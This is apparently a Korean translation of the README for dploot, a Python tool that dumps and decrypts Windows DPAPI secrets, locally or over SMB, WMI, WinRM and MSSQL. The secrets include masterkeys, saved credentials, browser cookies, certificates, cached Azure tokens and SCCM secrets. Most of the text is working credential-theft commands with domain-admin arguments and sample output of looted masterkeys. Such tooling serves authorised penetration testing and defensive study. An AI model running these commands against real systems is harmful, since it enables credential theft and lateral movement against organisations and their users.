
Windows DPAPI 암호를 원격 또는 오프라인으로 탈취 및 복호화합니다. 여기에는 마스터 키, 자격 증명, 볼트, 인증서, 브라우저 데이터, 캐시된 Azure 토큰이 포함됩니다.
dploot는 Harmj0y가 C#로 작성한 SharpDPAPI를 Python으로 다시 작성한 것이며, SharpDPAPI 자체는 gentilkiwi의 Mimikatz에 있는 DPAPI를 포팅한 것입니다. 이 도구는 해당 도구들의 모든 DPAPI 로직을 구현하지만, 이번에는 Python 인터프리터와 Linux 환경에서 사용할 수 있습니다.
DPAPI가 무엇인지 모른다면, 이 글을 확인해 보세요.
pipx를 사용하여 PyPI에서 dploot를 직접 설치할 수 있습니다:
pipx install git+https://github.com/zblurx/dploot.git
또는
pipx install dploot
Kali Linux에서는 저장소에서 dploot를 설치할 수 있습니다:
sudo apt install python3-dploot
dploot (https://github.com/zblurx/dploot) v4.0.0 by @_zblurx
usage: dploot [-h]
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
...
DPAPI looting in Python
positional arguments:
{backupkey,blob,browser,certificates,cng,credentials,machinecertificates,machinecng,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
cng Dump users CNG files blob from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecng Dump system CNG files from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target
options:
-h, --help show this help message and exit
dploot v4.0.0+는 원격 접근을 위한 여러 네트워크 프로토콜을 지원합니다. --protocol <protocol_name>을 사용하여 프로토콜을 선택합니다. 각 프로토콜은 서로 다른 기능과 요구 사항을 가집니다:
WMI 프로토콜을 사용하는 예시:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
로컬 프로토콜(오프라인 파일시스템)을 사용하는 예시:
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
명령 지원에 관한 중요 사항:
backupkey는 SMB 프로토콜에서만 작동합니다(도메인 컨트롤러 접근 필요).--dpapi-system-key를 사용하여 직접 가져와야 합니다.dploot는 smb, wmi, mssql 프로토콜에 대해 Kerberos로 인증할 수 있습니다. NTLM 폴백과 함께 Kerberos를 활성화하려면 -k를 사용하십시오. 캐시된 티켓을 사용하려면 --use-kcache를 사용하십시오. AES 키를 사용하려면 --aesKey를 사용하십시오.
$ dploot masterkeys -d waza.local -u Administrator -k -t 192.168.57.5
dploot의 목표는 Linux 환경에서 DPAPI 관련 정보 수집을 간소화하는 것입니다. 이 도구의 사용 방법은 접근 수준과 대상 구성에 따라 달라집니다.
기본 프로토콜은 SMB입니다. 이는 DPAPI 정보 수집에서 가장 일반적인 접근 방식이며 표준 Windows 파일 공유와 함께 작동합니다:
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
WMI는 원격 접속을 위한 SMB의 대안을 제공하며, SMB가 제한된 경우에 유용합니다:
$ dploot masterkeys --protocol wmi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
WinRM은 대체 프로토콜로 사용할 수 있습니다:
$ dploot masterkeys --protocol winrm -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 5985
대상에 접근 가능한 자격 증명이 있는 MSSQL이 있는 경우, MSSQL 프로토콜을 사용할 수 있습니다:
$ dploot masterkeys --protocol mssql -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 --port 1433 --db-auth
DPAPI 시크릿에 접근하는 또 다른 방법은 직접적인 파일시스템 접근을 통하는 것으로, 예를 들어 물리적 접근을 통해 드라이브를 추출하고 분석 머신에 파일시스템을 마운트하는 방식입니다. 이 모드를 사용하려면 --protocol local을 지정하십시오. 기본적으로 대상 파일시스템은 현재 디렉터리에 있는 것으로 간주되지만, --root를 사용하여 다른 경로를 지정할 수 있습니다:
$ dploot masterkeys --protocol local --root /mnt/c_drive -u bob -p Password
[*] Reading /mnt/c_drive
[*] Triage ALL USERS masterkeys
{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
--root 디렉터리에는 대상 시스템의 구조와 일치하는 Windows 및 Users 하위 디렉터리가 포함되어 있어야 합니다.